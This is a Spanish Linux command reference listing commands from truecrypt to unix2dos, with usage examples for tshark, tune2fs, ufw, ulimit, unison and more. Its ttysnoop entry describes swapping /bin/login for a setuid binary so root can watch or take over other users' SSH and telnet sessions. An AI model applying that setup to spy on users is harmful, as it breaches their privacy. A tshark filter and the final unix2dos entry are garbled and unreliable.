Select [1]: 1
**[Seleccionar si va a estar oculto o no: 1]**
Enter volume path: /media/cripta
**[Donde se montará. No tiene que existir el directorio]**
Enter volume size (sizeK/size[M]/sizeG): 20M
**[Tamaño del volumen: a voluntad]**
Encryption algorithm:
 1) AES
 2) Serpent
 3) Twofish
 4) AES-Twofish
 5) AES-Twofish-Serpent
 6) Serpent-AES
 7) Serpent-Twofish-AES
 8) Twofish-Serpent
```

```

Select [1]: 5
**[Algoritmo de encriptación: a voluntad]**
Hash algorithm:
  1) RIPEMD-160
  2) SHA-512
  3) Whirlpool
Select [1]: 2
**[El hash: a voluntad]**
Filesystem:
  1) None
  2) FAT
  3) Linux Ext2
  4) Linux Ext3
  5) Linux Ext4
Select [2]: 5
**[El sistema de archivo]**
Enter password:
WARNING: Short passwords are easy to crack using brute force techniques!
**[CUIDADO: Contraseñas cortas son fáciles de romper usando técnicas de fuerza bruta!]**
We recommend choosing a password consisting of more than 20 characters. Are you sure you
  want to use a short password? (y=Yes/n=No) [No]: y
**[Informa que la contraseña tiene menos de 20 caracteres pero la aceptamos de todas
  formas]**
Re-enter password:
**[La repetimos]**
Enter keyfile path [none]:
**[Sin archivo de claves: enter]**
Please type at least 320 randomly chosen characters and then press Enter:
Characters remaining: 134
Characters remaining: 26
**[Nos hace tipear 320 caracteres en el teclado... todavia faltan 134... todavia faltan
  26...]**
Done: 100,000% Speed: 22 MB/s Left: 0 s
**[Por fin... y toma sus notas... pasamos de ellas...]**
The TrueCrypt volume has been successfully created.
**[Finalmente se ha creado el volumen]**

```

```

# truecrypt -t /media/crypta
Ejecutando la aplicación. Intro a todo:

```

```

Enter mount directory [default]:
Enter password for /media/crypta:
Enter keyfile [none]:
Protect hidden volume (if any)? (y=Yes/n=No) [No]:

```

```

# truecrypt -t -l
Comprobar dispositivo montado

```

```

1: /media/crypta /dev/mapper/truecrypt1 /media/truecrypt1

```

```

# truecrypt -d /media/crypta
Desmontar volumen

```

## trueprint

Pasar varios lenguajes de programación a postscript. Pueden visualizarse con la aplicación gv

```

$ trueprint --K --W -n -f -F -t sh file.sh -s file.ps
Sin cabeceras [--K], ajuste de líneas inteligente [--W], sin numeración de líneas [-n], sin índice
  de funciones [-f], sin índice de archivo [--F], en lenguaje shell [-t sh] y redirigido a un
  fichero [-s]

```

```

$ trueprint -H all-options
Muestra todas las opciones de ayuda

```

## truncate

Reducir o extender el tamaño de un archivo al tamaño especificado. Si se reduce no se recuperan las partes reducidas.

## T

```
$ truncate -s 60 archivo.txt  
truncar archivo.txt a 60 bytes
```

```
$ truncate -s -60k archivo.txt  
Reducir archivo.txt a 60 k
```

```
$ truncate -s +60k archivo.txt  
Aumentar archivo.txt a 60 k
```

```
$ truncate -s 0 archivo.txt  
Borrar todo el contenido de archivo.txt
```

## ts

[moreutils]

Añade una marca de tiempo al principio de cada línea de entrada.

```
$ ts  
Escribir cualquier cosa y al darle al intro mostrará la marca del tiempo y lo escrito
```

## tset

Inicializa los valores de la terminal. Ver reset.

## tshark

Capturar paquetes y visualizarlos por pantalla:

```
# tshark -n -i eth0 -s 1515
```

```
# tshark -D  
Ver las interfaces de red disponibles
```

```
# tshark -n -i eth0 -s 1515 -w archivo  
Capturar información y pasarla a un archivo
```

```
# tshark -n -i eth0 -s 1515 -w -filesize:10000 -b 10 -w archivo (Lo mismo especificando medida  
máxima del archivo (-filesize:10000) y cantidad de ficheros a crear (-b 10) en Mb
```

```
# tshark -n -i eth0 -s 1515 -a duration:3600 -w archivo  
Especificando el tiempo que durará - 1 hora
```

```
# tshark -n -t ad -r fitxer.lpc tcp  
mostrar los mensajes del protocolo tcp
```

```
# tshark -ni eth0 'tcp port tuxapuntos.com/drupal/80' -R 'http.request.method == "GET"'  
ver todas las peticiones HTTP GET
```

Opciones:

-t Para que salgan las marcas de tiempo real

-n Inhabilita la resolución de nombres

## tsort

realiza una ordenación topológica. Escribe una lista totalmente ordenada de acuerdo con el orden parcial del fichero especificado.

```
$ tsort archivo.txt
```



## ttv

Webcam en consola y ascii.

## tty

Muestra el número de terminal.

```
$ tty
```

1- Para entrar en las consolas virtuales, de la Ctrl-Alt-F1 a la Ctrl-Alt-F6, de forma automática sin tener que logearnos en cada una:

```
# nano /etc/init.d/agetty-autologin
Crear el archivo de autologin
```

Y en su interior poner la linea:

```
# agetty_options="--autologin <user> -noclear"
en user poner el que corresponda
```

Reiniciar.

## tty-clock

Reloj digital por consola.

```
$ tty-clock -s -c -C 1
marcando los segundos [s] en el centro de la consola [c] y en color rojo [1]
```

```
$ tty-clock -r -s -C 2
que rebote por los lados de la terminal y de color verde
```

Nota.- Otros colores: 3: amarillo, 4: azul, 5: rosa, 6:turquesa, 7: blanco

## tttygif

A partir de una grabación de una sesión tty con ttyrec [ver] crea un gif.

```
$ tttygif file
```

```
Creating Animated GIF ... this can take a while
```

```
Created: tty.gif in the current directory!
```

## tttylog

Imprime todo lo que proviene de un dispositivo serie a la salida estándar. Se puede especificar el dispositivo y la velocidad en baudios y se puede establecer un tiempo de espera en lugar de simplemente finalizar el proceso para detenerlo.

```
$ tttylog -t 60 -d /dev/ttyS0
lo que proviene del dispositivo especificado durante 60 segundos
```

## ttyrec

Grabación de una sesión tty.

```
$ ttyrec archivo
```

A partir de cuando vuelva a salir el prompt se grabará todo en archivo. Finalizar con killall ttyrec

```
$ ttyplay -s2 archivo
```

reproducir lo grabado a doble velocidad. Pulsando las telcas - y +, baja o sube la velocidad de reproducción

```
$ ttyrec -a archivo
```

Añadir nueva grabación a continuación de archivo. No sobrescribe archivo

```
$ ttytime archivo
```

Dirá los segundos que dura la grabación

Nota.- Para compartir el archivo puede subirse a <http://playterm.org/>

## ttysnoop

Permite monitorizar [o tomar el control] el acceso a las terminales por parte de servicios remotos [ssh, telnet...]

Habilitar la aceptación de contraseñas por parte de ssh:

```
# nano /etc/ssh/sshd_config
```

Descomentar y modificar el parámetro:

```
UseLogin yes
```

Guardar y reiniciar ssh:

```
# /etc/init.d/ssh restart
```

Reemplazar el login original por el ttysnops.

```
# cd /bin/
```

```
# cp -a login lg
```

```
# cp -a /usr/sbin/ttysnoops /bin/login
```

Si al lanzar el último comando sale algo parecido a:

```
cp: no se ha podido crear el fichero ordinario /bin/login: Text file busy
```

Es que existe alguna consola tty funcionando, aunque no sea como root o root está activo en alguna pts. Matar las consolas y salir de los procesos.

Cambiar los permisos del nuevo login:

```
# chmod 4755 /bin/login
```

Editar:

```
# nano /etc/snooptab
```

Y modificar la línea:

```
* socket login /bin/login
```

```
por:
```

```
* socket login /bin/lg
```

Cuando por los comandos "who" o "finger" observemos que alguien se ha conectado a nuestra máquina:

```
# who
```

```
marquex pts/2      2010-09-24 16:59 (tux.local)
```

```
marquex tty7        2010-09-24 16:42 (:0)
```

## T

---

```
marquex pts/0          2010-09-24 16:50 (:0.0)
```

Lanzar la aplicación:

```
# ttysnoop 2
```

```
Connected to /dev/pts/2 snoop server...
```

```
Ctrl+'\' (ASCII 28) to suspend, Ctrl+'-' (ASCII 31) to terminate.
```

Snoop password:

```
Verified OK... Snoop started.
```

La contraseña a introducir tiene que ser la de root, no vale la de usuario con sudo, por tanto los ubunteros:

```
# passwd root
```

## tuberias

1.-

comando1 | comando2 (el resultado de comando1 se utiliza para comando2)

```
$ dmesg
```

```
montón de datos
```

```
$ dmesg | grep 'error'
```

```
solo los que den "error"
```

2.-

comando1 & comando2 (los comando se ejecutan simultáneamente, pero comando1 se ejecuta en segundo plano (background))

```
$ sudo firestarter & ifconfig
```

```
[1] 16572 (pid de firestarter en baskground)
```

```
eth0      Link encap:Ethernet Hwa.... (ejecución de ifconfig)
```

Matar el proceso de forma clásica (# kill -9 16572)

3.-

comando & exit (Lanzado como usuario normal, ejecuta el comando o abre la aplicación y cierra la terminal [gedit & exit])

4.-

gksu comando & exit (Lo mismo pero como root [gksu synaptic & exit] Se cierra la terminal pero se abre una ventana pidiendo la contraseña)

5.-

comando1 && comando2 (si comando1 funciona se ejecuta comando2)

Probar la diferencia con los ejemplos anterior y posterior substituyendo los caracteres.

6.-

comando1 || comando2 (comando2 se ejecuta solamente si comando1 falla)

```
$ sudo filestarmer || ifconfig
```

```
filestarmer: command not found (error por tanto ...)
```

```
eth0      Link encap:Ethe .... (... se ejecuta ifconfig)
```

## T

```
$ ls || ifconfig
solo ejecutará ls
```

7.-

comando1; comando2 (comando2 se ejecuta despues de comando1)

```
$ ls; ifconfig; filestarmer; who
```

8.-

Redireccionamiento de errores:

```
$ cat archivo_inexistente
```

cat: archivo\_inexistente: El fichero o el directorio no existe

El error direccionado a un archivo [error]:

```
$ cat archivo_inexistente 2> error
```

```
$
```

También pueden usarse dos signos > [2>> error] para añadir el error a continuación sin borrar el contenido del fichero error. Para mandar los errores al pozo sin fondo:

```
$ cat archivo_inexistente 2>/dev/null
```

O varios direccionamientos:

```
$ find / -name archivo > encontrado 2> errores &
```

```
$ find / -name archivo >& encontrado-errores.txt
```

Otra forma de redirigir a dos archivos [encontrado y errores.txt]

Indicando que la salida del comando find (las rutas en donde encontró el archivo ) se almacene en el archivo encontrado y que si existe errores en la ejecución del comando (no tiene permisos para entrar a buscar en algún

directorio) el error se almacene en el archivo errores. Adicionalmente enviamos el comando a background para poder hacer uso de la terminal mientras se realiza el proceso.

## tune2fs

[tune2fs]. Chequeo de la tabla de particiones

```
# tune2fs -c 80 /dev/sda1
cada 80 reinicios
```

```
# tune2fs -i 2m /dev/sda1
cada 2 meses
```

```
# tune2fs -i 2w /dev/hda3
cada 2 semanas
```

```
# tune2fs -i 2d /dev/sda1
cada 2 dias
```

```
# tune2fs -l /dev/sdb1
ver registro completo de la partición
```

```
# tune2fs -l /dev/hda3 | grep Last checked
ver fecha del último escaneo
```

```
# tune2fs -l /dev/hda3 | grep -i check
veces que se fuerza el chequeo
```

```
# tune2fs -i 0 /dev/hda3
desactivar chequeo
```

```
# tune2fs -l /dev/hda3 | grep -i mount count
lo mismo que el anterior
```

## T

```
# tune2fs -m 1 /dev/sda1
modificar el espacio reservado para root al 1%. Por defecto es del 5%. Ver dumpe2fs
```

```
# tune2fs -O ^has_journal /dev/sda1
Desactivar journaling en una partición
```

```
# tune2fs -O has_journal /dev/sda1
Activar journaling
```

1.-

Convertir sistema de archivos de ext3 a ext4. Desde un livecd o una partición no montada :

```
# tune2fs -O extents,uninit_bg,dir_index /dev/sdax
convertir
```

```
# fsck -pf /dev/sdax
Para dar consistencia al nuevo sistema
```

```
# mount -t ext4 /dev/sdax /media/punto_de_montaje
montar la unidad
```

## tuned

Demonio que ajusta dinámicamente la configuración del sistema. Lo hace monitoreando periódicamente el uso de varios componentes del sistema y en base a esa información, los componentes se colocarán en modos de ahorro de energía más bajos o más altos para adaptarse a su uso.

```
# systemctl status tuned.service
comprobar si está activo
```

```
# tuned
lanzarlo si no está activo
```

```
# tuned-adm list
listado de componentes que pueden optimizarse manualmente
```

## tuptime

Mostrar el tiempo que esta encendido el sistema.

```
$ tuptime -l -e
desde que se encendió
```

```
$ tuptime -n
muestra varios parámetros
```

```
$ tuptime -k
tiempo de actividad del kernel
```

## tv3

Descarga de videos de tv3.cat.

```
$ wget http://www.gnulinix.cat/dev/tv3.tar.gz
```

```
$ tar -xvzf tv3.tar.gz
```

```
$ cd tv3
```

```
$ bash install
```

Una vez tengamos la URL del video [por ejemplo: <http://www.tv3.cat/videos/4226490/Especial-diada-de-Sant-Felix-a-Vilafranca>]

Arrancar la aplicación con el número que muestra:

```
$ tv3 4226490
```

## TVenLinux.sh

[mplayer, zenity, rtmpdump y curl]. Script para poder ver prácticamente todos los canales de la TDT a través de Internet. Descarga: <http://www.tvenlinux.com/TVenLinux.sh>. Despues de otorgar permisos [chmod +x TVenLinux.sh) ejecutar con ./TVenLinux.sh.

Atajos

```
q (Salir para cambiar de programa o finalizar)
cursor izquierdo (Si el video y el audio están descompasados, podemos volver 10 segundos
    atrás y suele solucionar el problema)
cursor derecho (Avanza 10 segundos)
m (Silencia)
p (Pausa / inicia la reproducción. En casos de desconexiones frecuentes, pausar la
    reproducción permite aumentar la caché)
f (Pantalla completa)
Mays + t (Siempre encima)
```

## twidge

Twittear desde la linea de consola.

twidge setup (Configuración inicial)

twidge lsrecent (Leer los últimos mensajes)

twidge update "Texto" (Escribir nuevo mensaje)

twidge lsfollowers (ver listado de seguidores)

twidge following ((ver listado de los que seguimos)

twidge follow "usuario" (seguir al usuario especificado)

twidge unfollow "usuario" (Dejar de seguir a un usuario)

twidge lscommands (Listado de acciones)

## twistd

Crear un servidor en el directorio especificado

```
$ twistd -n web --path .
Servidor web en el actual
```

```
$ twistd -n web --path /home/usuario/Desktop
en el escritorio
```

Para acceder a él desde la red local en el navegador [http://IP\\_local:8080](http://IP_local:8080)

```
$ twistd ftp -p 2131 -r /home/usuario/Desktop --userAnonymous=juanito
crear un servidor ftp en el escritorio con el usuario juanito sin contraseña y el puerto 2131
```

## twitter

Red social.

Atajos de teclado:

```
j y k (navegar por los tuits)
. (desplegar nuevos tuits publicados)
f (marcar tuit como favorito)
t (retuitar un tuit favorito)
r (abrir panel de respuesta a un tuit)
m (permite escribir nuevo mensaje directo)
gh (ir a la página principal)
gc (ir a la página de menciones)
gp (ir a la página de nuestro perfil)
gf (ir a la página de tuits marcados como favorito)
gm (ir a la página de mensajes directos)
gl (ir a la página de listas)
gu (buscar perfil de un usuario)
```

## txt2html

Convertir texto a html.

```
$ txt2html archivo.txt --outfile archivo.html
```

## txt2man

Convierte textos simples en páginas de manual. La sintaxis del texto debe parecerse a la salida proporcionada por el programa man. Incluye las aplicaciones bookman y src2man

```
$ txt2man -p texto.txt > texto.1
```

1.-

Ejemplo de un pdf con varias entradas man relacionadas

```
$ cd /usr/share/man/man1
```

```
$ bookman -p -t "Referencias gtk" gtk4* > ~/gtk.pdf
```

## txt2tags

Convertir archivos de texto a distintos formatos.

```
$ txt2tags -t html fichero.txt
convierte .txt en .html
```

## type

Buscar la ubicación del ejecutable e informar si el comando es un alias, un comando interno o externo.

```
$ type cd
informa que es interno
```

```
$ type mplayer
```

```
$ type -a algo
```

Conocer todas las definiciones de algo, teniendo en cuenta que si algo es una alias, una función y un script prevalece este orden

```
$ type -t cp
```

Conocer el tipo de un símbolo

## typeset

Define variables y les da atributos. Es necesario para operar con números y hacer cuentas con ellos. Ver "declare"

Un ejemplo de uso en un script:

```
#!/bin/bash
typeset -i suma
suma=7+5
echo $suma
```

## tzdiff

Mostrar zona horaria local.

```
$ tzdiff -n 1 -N -H Europe/Madrid
mostrar hora local
```

## tzconfig

configurar nuevamente la zona horaria

## tzselect

Pregunta al usuario información sobre la localización actual y muestra la descripción de la zona horaria correspondiente.

```
$ tzselect
```

## tzwatch

Muestra las zonas horarias especificadas por el usuario y las guarda en el archivo ~/.tzlist.

```
$ tzwatch -c
Lanzar tantas veces como de zonas horarias se quiere disponer de información y seguir las
instrucciones: Add Zone, Americas, 26 [Guatemala], mostrará la información y preguntará si es
correcta, 1 [yes] y Done [salir]
```

```
$ tzwatch
Mostrará hora local de cada una de las zonas elegidas
```

```
[~]$ tzwatch
Mon Oct  7 02:39:39 CST 2013   Australia/Adelaide
Sun Oct  6 18:09:39 CEST 2013   Europe/Madrid
Sun Oct  6 10:09:39 CST 2013   America/Guatemala
```



---

## U

---

### ubuntu-packaging-guide-html

Conjunto de artículos en español fáciles y sencillos, que ayudan a entender el empaquetado y desarrollo de Ubuntu.

```
$ firefox file:///usr/share/doc/ubuntu-packaging-guide-html-es/index.html
```

### ubuntu-support-status

Muestra el estado del soporte oficial de los paquetes instalados. Útil para determinar cuando será conveniente actualizar el servidor.

```
$ ubuntu-support-status
Muestra un resumen del estado de los paquetes instalados
```

```
$ ubuntu-support-status --show-unsupported
Muestra una lista detallada de los paquetes que ya no estan soportados
```

```
$ ubuntu-support-status --show-supported
Muestra una lista detallada de los paquetes soportados así como la fecha hasta la que lo estan
```

```
$ ubuntu-support-status --show-all
Muestra una lista detallada de todos los paquetes, tanto los soportados como los que no
```

### uchardet

Detecta la codificación de un texto.

```
$ uchardet texto.txt

UTF-8
```

### udev

Demonio que crea y elimina dinámicamente nodos de dispositivos de /dev/, maneja eventos de conexión en caliente y carga controladores en el momento del arranque. Contiene las aplicaciones systemd-hwdb y udevadm

```
$ systemctl status udev
comprobar si está activo
```

## udevil

Monta y desmonta dispositivos extraíbles y recursos compartidos de red sin requerir una contraseña, muestra información del dispositivo y monitorea los cambios del dispositivo. Incluye el script de montaje automático devmon.

```
$ udevil mount /dev/sda1
```

```
$ udevil unmount /dev/sda1
```

```
$ udevil info /dev/sda
```

## udiskie

Herramienta para montar automáticamente unidades en Archlinux. Debe arrancarse el servicio antes de ejecutarse el gestor de ventanas en el archivo `.xinitrc`. Un ejemplo:

```
# nano .xinitrc
```

```
udiskie & exec openbox-session
```

## udisks

Comando para montar y desmontar volúmenes usando el demonio que llaman programas como Nautilus o Thunar. Con este método conseguimos que desde estos programas se pueda desmontar cómodamente la partición y además sin necesidad de permisos.

```
$ udisks --mount /dev/sda1 (montará esta partición).
```

```
$ udisks --unmount /dev/sda1 (desmontará esta partición).
```

```
$ udisks --monitor
```

```
Monitoriza la actividad del demonio. Muy útil para verificar si una partición es montada o no
```

## udisks2

Actualización del anterior comando. Demonio que permite operaciones como consultar, montar, desmontar, formatear o desconectar dispositivos de almacenamiento como discos duros o memorias USB.

```
$ udisksctl status
```

```
comprobar todos los discos duros y usbs conectados
```

```
$ udisksctl status nvme0n1
```

```
comprobar si determinado disco está conectado
```

```
$ udisksctl mount -b /dev/sdd1
```

```
montar dispositivo. Equivalente al clásico mount /dev/sdd1
```

```
$ udisksctl unmount -b /dev/sdd1
```

```
desmontar dispositivo. Equivalente al clásico umount /dev/sdd1
```

```
$ udisksctl dump
```

```
mostrar toda la información de todos los dispositivos con detalle
```

```
$ udisksctl info -b /dev/sda
```

```
mostrar información sobre un dispositivo
```

## U

### ufw

Cortafuegos

```
# ufw enable
activar el cortafuegos. disable para desactivarlo

# ufw deny 4662
bloquea el puerto

# ufw deny from 123.1.103.8
denegar toda conexion de la ip especificada

# ufw allow 22
abre el puerto 22

# ufw allow from 123.1.103.8 to any port 22
Que la ip especificada pueda acceder al nuestro puerto 22

# ufw delete allow 22
anula la regla de abrir el puerto 22

# ufw allow 40000:44000/tcp
abrir un rango de puertos

# ufw delete deny 4662
Elimina una regla

# ufw allow smtp
permitir servicios concretos

# ufw status
visualizar las normas definidas

# ufw status numbered
que muestre las normas numeradas

# ufw delete numero
eliminar una regla con el número que muestra "status numbered"

# ufw status verbose
Información de estado con mayor detalle

# ufw default allow
permitir todo por defecto

# ufw default deny
bloquear todo por defecto

# ufw deny from ip
bloquear dirección ip

# ufw logging on
activar los logs. off para desactivarlos. Herramienta de registro: fwalog, fwlogwatch, o lire.

# ufw app list
lista de las aplicaciones con reglas

# ufw app info WWW
información sobre una regla del listado anterior

# ufw reset
resetear completamente el cortafuegos
```

### ul

Subrayado de palabras en la terminal.

```
$ echo $'linux es g\b_e\b_n\b_i\b_a\b_l\b_ ' | ul (Cada letra a subrayar ha de ir seguida de \b_)
```

## ulimit

Permite visualizar o limitar los recursos del sistema.

```
# ulimit -f 512000
```

limita a los usuarios para que no puedan crear archivos de mayor tamaño que 512000 Kb [500 #Mb]

```
$ ulimit -a
```

ver todos los parámetros

```
$ ulimit -n
```

cantidad máxima de ficheros que se pueden abrir

```
$ ulimit -SHn
```

ver la cantidad máxima de ficheros que se pueden abrir, blandos [por el usuario] y duros [por root]

```
$ ulimit -Sn 10000
```

modificarlo a 10000 mientras no se cierre la sesión

Parámetros:

```
core (Tamaño máximo de los ficheros core [KB])
data (Tamaño máximo para el segmento de datos [KB])
fsize (Tamaño máximo para los ficheros [KB])
memlock (Tamaño máximo para el espacio de direcciones bloqueado en memoria [KB])
nofile (Número máximo de ficheros abiertos)
rss (Tamaño máximo del conjunto residente en memoria [KB])
stack (Tamaño máximo para la pila [KB])
cpu (Tiempo máximo de CPU [minutos])
nproc (Número máximo de procesos)
as (Límite en el espacio de direcciones)
maxlogins (Número máximo de logins)
priority (Prioridad de base para los procesos del usuario)
locks (Número máximo de ficheros bloqueados que el usuario puede mantener)
Nota.- El ámbito de aplicación del límite puede ser un nombre de usuario, un grupo (@grupo) o
todos (*)
```

Un ejemplo de limit.conf:

```
*          soft    nproc      10000
*          hard    nproc      4096
*          soft    core       unlimited
*          hard    core       unlimited
*          soft    memlock    131072
*          hard    memlock    131072
*          soft    nofile     102400
*          hard    nofile     102400
1.-
```

Evitar Forkboms [programas que consumen la totalidad de los recursos del sistema]

Si al lanzar el comando:

```
$ ulimit -u
```

El resultado es ilimitado o un valor extremadamente alto, podemos ser víctimas de los forkbombs. Para resolverlo podemos limitar el número de procesos abiertos a 1000 para que estos no puedan llegar a colapsar el sistema:

```
# gedit /etc/security/limits.conf
```

Añadir antes de End of file: \* hard nproc 1000

Reiniciar

2.-

En ciertas ocasiones, al procesar muchos archivos, se produce un error "for output (Too many open files)" porque se desborda el límite de 1024 k. Para solucionarlo:

```
# nano /etc/security/limits.conf
```

Y añadir las siguientes líneas:

## U

```
*      soft    nofile    9000
*      hard    nofile    65000
```

Los asteriscos pueden sustituirse por el nombre de usuario.

3.-

Limitar la cantidad de usuarios conectados al sistema:

```
# nano /etc/security/limits.conf
```

Y en el parámetro maxlogins modificamos el número que deseemos:

```
*      -      maxlogins 3
```

## umask

Fija los permisos de un fichero o directorio. Los permisos base para los directorios son 0777 (rwxrwxrwx) y para los archivos 0666 (rw-rw-rw-). Por tanto la cifra que proporciona umask ha de restarse de estos importes para conocer los permisos reales:

```
$ umask
muestra permisos actuales en octales. Normalmente 0022 por tanto los permisos reales son 755 para directorios y 644 para ficheros
```

```
$ umask -S
muestra los permisos en notación simbólica
```

Ejemplo:

```
$ touch archivo.txt
$ mkdir dir
$ ls -l
total 4
-rw-r--r-- 1 templix templix  0 abr 12 06:10 archivo.txt
drwxr-xr-x 2 templix templix 4096 abr 12 06:10 dir
```

```
# umask 0002
Modifica los permisos a 0775 para directorios y 664 para archivos
```

## umount

Desmontar particiones

```
$ umount -a
Desmonta todas las especificadas en /etc/mtab
```

```
$ umount -r
Si falla el desmontaje, intenta remontar como solo lectura
```

```
$ umount -t vfat,ext3
Solo desmonta los tipos especificados
```

```
$ umount -fl
fuerza el desmonte de la partición
```

## unaccent

Lee datos que se entran por stdin y cuando se pulsa intro los repite a continuación sin acentos.

```
$ unaccent --debug_low UTF-8
```

## unalias

Suprimir alias.

```
$ unalias -a
Suprime todos los alias
```

## uname

Informa de la ...

```
$ uname -a
... versión instalada del kernel y otros datos
```

```
$ uname -m
... arquitectura de la máquina
```

```
$ uname -r
... versión instalada del kernel
```

## unar

Extraer archivos de un paquete.

```
$ unar bashrc.tar

bashrc.tar: Gzip

bashrc... OK.

Successfully extracted to "./bashrc".
```

## unattended-upgrades

Descargar e instalar actualizaciones de seguridad de forma automática y desatendida. Aunque esté activado, notificará acerca de las actualizaciones "normales", pero solo se instalarán automáticamente las actualizaciones de seguridad. Para activar lanzar:

```
# dpkg-reconfigure unattended-upgrades
```

Y contestar "yes"

## unbound

Servidor DNS de almacenamiento en caché solo recursivo que puede realizar la validación de resultados DNSSEC [Extensiones de seguridad DNS]. Implementa solo una cantidad mínima de servicio autorizado para evitar fugas a los servidores de nombres raíz: búsquedas directas para localhost, inversas para 127.0.0.1 y ::1, y NXDOMAIN [que no se pueda resolver el nombre del dominio] para zonas atendidas por AS112 [grupo de operadores de servidores de nombres de voluntarios que se unieron en un sistema autónomo].

```
$ unbound-checkconf
averiguar si existen errores en el archivo de configuración /etc/unbound/unbound.conf
```

```
$ unbound
activa el daemon
```

## undbx

Herramienta para exportar los correos de Outlook en formato DBX al formato EML para posteriormente importar en Thunderbird

```
$ undbx carpeta-origen carpeta-exportacion
```

Primero se define la carpeta origen donde se encuentran los ficheros DBX y a continuación se especifica el directorio de salida

## undertime

Muestra una tabla simple de 24 horas con horarios coincidentes en diferentes zonas horarias o ciudades.

```
$ undertime -l
```

listado de las zonas posibles

```
$ undertime -t Europe/Madrid
```

horas en una zona

```
$ undertime --timezones Europe/Madrid Europe/Moscow
```

en dos zonas especificadas

```
$ undertime --no-default-zone
```

muestra varias zonas

## unexpand

Convertir espacios en tabulaciones.

```
$ unexpand -t 4 -a texto.txt
```

Sólo las líneas que tengan 4 espacios en blanco, sea al inicio o entre palabras

```
$ unexpand -t 2 --first-only texto.txt
```

Sólo las que empiecen por 2 espacios en blanco

## unhide

Herramienta forense para encontrar procesos y puertos TCP/UDP ocultos por rootkits, módulos del kernel o por otras técnicas. Incluye utilidades: unhide, unhide-tcp, unhide-linux y unhide-posix.

```
# unhide-tcp
```

identifica los puertos TCP/UDP que están escuchando, pero no figuran en /bin/netstat a través de fuerza bruta

```
# unhide proc
```

compara /proc con la salida de /bin/ps

```
# unhide -m -d sys proc brute
```

más comprobaciones y hacer una doble comprobación en la prueba bruta sobre sys, proc y brute

```
# unhide-linux procall
```

combina pruebas proc y procfs

```
# unhide-linux procfs
```

comparar la información recopilada de /bin/ps con la información recopilada en los procfs

```
# unhide quick
```

combina las técnicas proc, procfs y sys. Es aproximadamente 20 veces más rápido, pero puede dar más falsos positivos.

```
# unhide-posix proc
```

```
# unhide-linux reverse
```

## Opciones

`sys` (compara la info de `/bin/ps` con la obtenida de las llamadas al sistema.)

`brute` (Identifica por fuerza bruta todos los procesos)

`reverse` (consiste en verificar que todos los subprocesos vistos por `ps` también se ven en `procfs` y por llamadas al sistema. Su objetivo es verificar que un rootkit no haya matado una herramienta de seguridad [ID u otra] y hacer que `ps` muestre un proceso falso en su lugar)

## unhtml

Elimina todo el formato HTML que encuentra e un fichero e imprime el texto limpio.

```
$ unhtml index.html > /home/usuario/index.txt
Si no se facilita el archivo de destino, lo muestra en pantalla
```

## unicode

Es un estándar de codificación de 4 caracteres que engloba todos los caracteres de uso común y en la actualidad, cuenta con alrededor de 150.000 caracteres provenientes de diversos alfabetos [chino, cuneiforme, rúnico...], sistemas ideográficos y colecciones de símbolos [matemáticas, tecnología, música, iconografía...]. Además de los caracteres alfabéticos, Unicode también incluye una variedad de caracteres, como fichas de juegos como el dominó, flechas, iconos, etc. Una tabla completa en <https://symb1.cc/es/unicode/table/>

```
$ unicode --list
listado de codificaciones
```

```
$ unicode --ascii
tabla ascii
```

```
$ unicode --brexit
```

```
$ unicode -d 9
propiedades del caracter numerico "9"
```

```
$ unicode -a ñ
de forma automática determinar las características del caracter colocado [ñ]
```

```
$ unicode -w t
busqueda en la wikipedia [abre la página en el navegador] el caracter mencionado [t]
```

```
$
ctrl-shift-u 6708 intro
```

```
$ (ctrl-shift-u 01e2 intro
```

## unicode\_start

Pondrá el teclado y la consola en modo Unicode [UTF-8].

```
$ unicode_start [font] [umap]
```

Nota.- El parámetro "font" es una fuente que está cargada. Debe tener un mapa Unicode incorporado o, si no lo tiene, dicho mapa se puede proporcionar explícitamente como segundo parámetro. Cuando no se especificó ninguna fuente, se mantiene la fuente actual. Unicode es la codificación de caracteres estándar para la mayoría de las computadoras del mundo. Garantiza que el texto, incluidas letras, símbolos, emojis e incluso caracteres de control, aparezca igual en diferentes dispositivos, plataformas y documentos digitales, independientemente del sistema operativo o el software que se utilice.



## unicode\_stop

Deshará el efecto de `unicode_start`. Pone el teclado en modo ASCII y borra el modo UTF-8 de la consola.

```
$ unicode_stop
```

## unimatrix

Lluvia de código y símbolos que aparecen en la película matrix escrito en python. Descarga: <<https://github.com/will18211/unimatrix#install>>

```
$ unimatrix
por defecto
```

```
$ unimatrix -n -s 96 -u linux
no usar caracteres en negrita [n], 96 de velocidad [por defecto 85] y usando solo las letras
indicadas
```

Otras opciones:

```
-g COLOR (color de fondo. Por defecto el de la terminal)
-f (habilitar caracteres cambiantes)
-b (usar sólo caracteres en negrita)
-t 60 (Terminar el proceso a los 60 segundos)
```

## uniq

Ignora las líneas idénticas siempre y cuando sean adyacentes.

```
$ uniq -u archivo archivo_sin repeticiones
```

```
$ uniq -d archivo archivo2
en archivo2 sólo las repetidas
```

```
$ uniq -c archivo
Muestra al principio de la línea el número de veces que se repite
```

## unison

[openssh-server ssh]. Sincronización de carpetas remotas.

Previamente crear la clave y copiarla al otro pc:

```
$ ssh-keygen -t dsa
```

```
$ ssh-copy-id -i $HOME/.ssh/id_dsa.pub root@ip_o_host
```

Sincronizar las carpetas (la web en este ejemplo)

```
$ unison /srv/http ssh://ip_o_host/srv/http
```

Si la carpeta a sincronizar se coloca en el archivo de configuración:

```
# nano /root/.unison/default.prf
```

```
root = /srv/http
```

```
root = ssh://ip_o_host/srv/http
```

Puede colocarse la orden en el cron para que se actualice cada 5 minutos:

```
crontab -e
```

```
*/5 * * * * /usr/bin/unison &> /dev/null
```

## units

Convertor de unidades [metros, litros, millas, pulgadas, grados...]. Las unidades han de expresarse en inglés.

```
$ units
```

Muestra "You have" para entrar lo que tenemos [1m, 10lb, 2hr, tempK(0)... ] y a continuación "You want", lo que queremos. Algunos ejemplos:

De millas a kilómetros:

```
You have: 10mi
You want: km
          * 16.09344
          / 0.062137119
De libras a gramos:
```

```
You have: 11lb
You want: gr
          * 7000
          / 0.00014285714
De grados kelvin a celsius:
```

```
You have: tempK(0)
You want: tempC
          -273.15
De 3 horas más 16 minutos a segundos
```

```
You have: 3hr + 16min
You want: sec
          * 11760
          / 8.5034014e-05
```

## unity

Escritorio.

```
$ unity --reset
Resetear la configuración de unity
```

```
$ unity --reset-icons
eliminar iconos agregados al launcher
```

```
$ unity --replace
reiniciar
```

## unix2dos

Convertir formatos unix a msdos

```
$ unix2dos fichero_unix fichero_dosServidor de archivos ftp. Toda la configuración de encuentra en el archivo:
```

```
# nano /etc/vsftpd.conf
```

